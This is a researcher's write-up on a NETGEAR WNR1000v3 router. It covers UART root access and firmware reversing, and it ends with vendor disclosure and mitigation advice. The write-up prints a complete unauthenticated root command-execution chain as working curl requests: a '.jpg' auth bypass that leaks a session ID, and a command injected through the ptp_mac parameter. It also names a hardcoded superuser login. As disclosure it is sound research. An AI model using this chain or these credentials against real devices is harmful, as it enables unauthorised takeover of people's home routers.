Portfolio

Hit Enter, Get Root: Unauthenticated RCE Chain on the NETGEAR WNR1000v3

TL;DR

A used NETGEAR WNR1000v3 bought for 3 euros at a flea market (firmware V1.0.2.18, the final EOL release). Three unauthenticated HTTP requests. Arbitrary command execution as root. CVSS 3.1: 9.4 Critical.

The chain: an auth bypass from 2013 (CVE-2013-3316) leaks a valid session ID. The wds.cgi handler stores a MAC parameter without validation into NVRAM. The router status page passes that NVRAM value unsanitized into system(), as root.


Prolog: A Router for 3 Euros

I bought a used WNR1000v3 for 3 euros at a flea market. Built in 2010, it runs a Linux userspace stack with a web UI.

What we didn’t know: the most interesting thing happens before any cable goes into the network.

Opened NETGEAR WNR1000v3 on the workbench with the circuit board, antenna and connected UART wires visible.
The patient: the NETGEAR WNR1000v3 on my workbench, with the case removed and the UART wires connected.

Act I: UART, or: Why You Keep a Soldering Iron Ready

The debug header J3 is documented on the OpenWrt wiki: pin 6 GND, pin 5 TX, pin 2 RX, 3.3V TTL, 115200 8N1. FTDI adapter on, screen up, power on. And then … this:

Detailed view of my soldered UART connections on the router board, annotated GND, TX and RX.
My UART connections on the board, with GND, TX and RX marked in the photo.
First UART capture: seven bytes of line noise.
First UART capture: seven bytes of line noise.
Terminal output as text
$ od -c uart-first-boot.log
0000000  377 337 377 357 377 377 377
0000007

Seven bytes. That’s the classic signature of „signal present, but something’s wrong“: power, baudrate, or ground. The multimeter run reveals the cause: a solder bridge between RX and GND, right on the PCB trace next to the header. Minutes later, the board stopped working and the power LED went out. The fuse on the 3.3V rail had failed.

Fuse replaced, bridge removed, power on. Now the bus talks:

CFE boot sequence and flash partition map. Device MAC redacted.
CFE boot sequence and flash partition map. Device MAC redacted.
Terminal output as text
CFE for WNR1000v3 version: 3.0.6
Build Date: Thu Jan 21 22:38:48 CST 2010
Boot partition size = 131072(0x20000)
Found a 4MB ST compatible serial flash
CPU ProcId is: 0x00019749, options: 0x000021cd
Linux version 2.4.20 (zacker@svn) (gcc version 3.2.3 with Broadcom modifications)
        #1 Tue Apr 20 15:30:33 CST 2010
CPU: BCM5356 rev 1 at 333 MHz

A few seconds later, the shell prompt appeared:

UART shell after boot.
UART shell after boot.
Terminal output as text
BUSYBOX v0.60.0 (2010.04.20-07:29+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.

root@WNR1000v3:/#
UART privilege and kernel version output.
UART privilege and kernel version output.

No login, no protection: the serial port is the root access. From this shell: full flash dump partition by partition over TFTP, rootfs extracted from Broadcom’s proprietary shsq/LZMA SquashFS variant, NVRAM with 910 variables read.

Two side finds worth mentioning: the NVRAM held the previous owner’s entire access configuration in plaintext, DSL credentials, Wi-Fi password, everything (redacted here on purpose; the factory reset does clear it properly, we measured). And: a hardcoded hidden superuser (Gearguy/Geardog) that survives even an NVRAM wipe.

NVRAM after factory reset. Device WPS PIN redacted.
NVRAM after factory reset. Device WPS PIN redacted.

Act II: Understanding the Web UI

The httpd is a 1.1 MB Broadcom SDK binary, MIPS little-endian, with 451 exported symbol names. Ghidra decompiled 718 functions; a handwritten annotator resolves the typical Broadcom pointer arithmetic and makes the decompiles readable. The result: 96 CGI endpoints, a template engine with numeric placeholders, and a very idiosyncratic session mechanism.

Three observations that pave the way:

1. CGI POSTs need a session ID. Every form is served with action="endpoint.cgi?id=N". Without it: 401/404. With it: the handler runs.

2. Auth check: there’s a known skip. CVE-2013-3316 describes this exact product line (firmware < 1.0.2.60): the server skips authentication for URLs containing ‚.jpg‘. Our firmware is 1.0.2.18:

HTTP response comparison from the supplied lab capture.
HTTP response comparison from the supplied lab capture.
Terminal output as text
$ curl -s -o /dev/null -w "%{http_code}\n" http://192.168.1.1/WLG_wds.htm
401
$ curl -s -o /dev/null -w "%{http_code}\n" "http://192.168.1.1/WLG_wds.htm?x=.jpg"
200

The issue from 2013 was still present. The served page also contained:

Form action shown in the supplied lab capture.
Form action shown in the supplied lab capture.
Terminal output as text
$ curl -s "http://192.168.1.1/WLG_wds.htm?x=.jpg" | grep -oE 'action="[^"]*"'
action="wds.cgi?id=660933050"

A valid session ID, free of charge.

3. NVRAM as a relay. Multiple handlers write form values unvalidated into NVRAM, and other code paths later read these values and push them into shell commands. That’s the pattern that gives us the root run.

Act III: wds.cgi, One Parameter, One system()

Two sibling functions live in the binary, and both build shell commands from an NVRAM value:

/* wds_get_rssi — 0x4729f0 */
sprintf(cmd, "rm -f %s; wl rssi %s > %s", "/tmp/wds_signal", mac);
system(cmd);

/* wds_get_linkrate — 0x472bb0 */
sprintf(cmd, "rm -f %s; wl sta_info %s > %s", "/tmp/wds_rate", mac);
system(cmd);

The mac value comes from wla_wds_ptp_mac in NVRAM. Who writes that? The wds.cgi handler. Validation for the parameter ptp_mac: a check whether the value starts with ":::::". That’s all. isValidMacAddr exists in the bundled libacos_shared.so, it’s just never called here.

The Chain, Request by Request

Step 1: Bypass, leak session ID (unauthenticated):

$ curl -s "http://192.168.1.1/WLG_wds.htm?x=.jpg" | grep -oE 'wds.cgi\?id=[0-9]+'
wds.cgi?id=660933050

Step 2: Inject payload (unauthenticated, using the leaked ID):

$ curl -s -o /dev/null -w "%{http_code}" -X POST \
    "http://192.168.1.1/wds.cgi?id=660933050&x=.jpg" \
    --data-urlencode "wds_enable=1" \
    --data-urlencode "wds_mode=1" \
    --data-urlencode "ptp_mac=AA:BB:CC:DD:EE:FF;echo UNAUTH-RCE>/tmp/pwned3;" \
    --data-urlencode "sysLANIPAddr1=192" --data-urlencode "sysLANIPAddr2=168" \
    --data-urlencode "sysLANIPAddr3=1"   --data-urlencode "sysLANIPAddr4=1" \
    --data-urlencode "apply=Apply"
200

Step 3: Trigger (unauthenticated, single GET):

Result recorded in the supplied lab transcript.
Result recorded in the supplied lab transcript.
Terminal output as text
$ curl -s -o /dev/null -w "%{http_code}" "http://192.168.1.1/RST_status.htm?x=.jpg"
200

# ... and on the device (UART console, uid 0):
# ls -la /tmp/pwned3
-rw-r--r--    1 0        0              11 Jan  1 00:03 /tmp/pwned3
# cat /tmp/pwned3
UNAUTH-RCE

Additional Findings

  • Unauth WPS-Registrar via UPnP (TCP/1780): WFAWLANConfig:1 service fully exposed: GetDeviceInfo returns the WPS M1, SetSelectedRegistrar accepted, RebootAP/ResetAP unauthenticated (not executed).
  • Unauth AddPortMapping via UPnP (TCP/5000): WAN port mapping without login (reproduced and reverted).
  • LAN IP corruption via malformed wds.cgi POST: bridge address changes to an value influenced by an attacker, httpd terminates (availability).
  • Update channel integrity: plain checksum only, update server resolvable via DNS (configurable by an admin).
  • Hardcoded superuser: Gearguy/Geardog survives factory reset.
  • WPS PIN derived from the board: identical after NVRAM wipe.

Why This Matters Despite EOL

The Broadcom SDK stack of this generation runs in dozens of variants across vendors and model lines. Patterns that fit here, unvalidated NVRAM round trips, shell sinks in status rendering, auth checks with special cases, are not isolated cases, they’re a design era. And the used market keeps devices like this in circulation.

Disclosure

NETGEAR PSIRT was notified on September 20, 2026, with the technical report, PoC script and session transcript. The authentication bypass referenced in this article is CVE-2013-3316.

Mitigation

EOL device. Replace with supported hardware. Interim: change the default password, disable UPnP, never enable WDS, keep remote management off.


Tools: FTDI FT232 · multimeter · soldering iron · Ghidra 11.3.2 · mipsel-binutils · Sasquatch · curl · Python raw sockets · Kalam (for the doodles)

Thanks: OpenWrt community (J3 pinout) · Sasquatch & Ghidra.

Enjoy <3

Nach oben scrollen